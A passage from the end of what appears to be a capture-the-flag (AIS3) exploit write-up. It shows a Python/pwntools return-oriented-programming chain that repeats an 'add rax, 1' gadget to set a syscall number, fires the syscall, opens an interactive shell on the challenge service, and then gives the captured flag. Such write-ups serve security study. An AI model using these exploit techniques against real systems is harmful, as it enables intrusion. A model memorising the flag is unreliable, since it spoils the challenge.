p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004013ea) # syscall
print(r.recvuntil(b'[Y/n]'))
r.sendline(p)
r.interactive()
r.close()
```

FLAG：AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}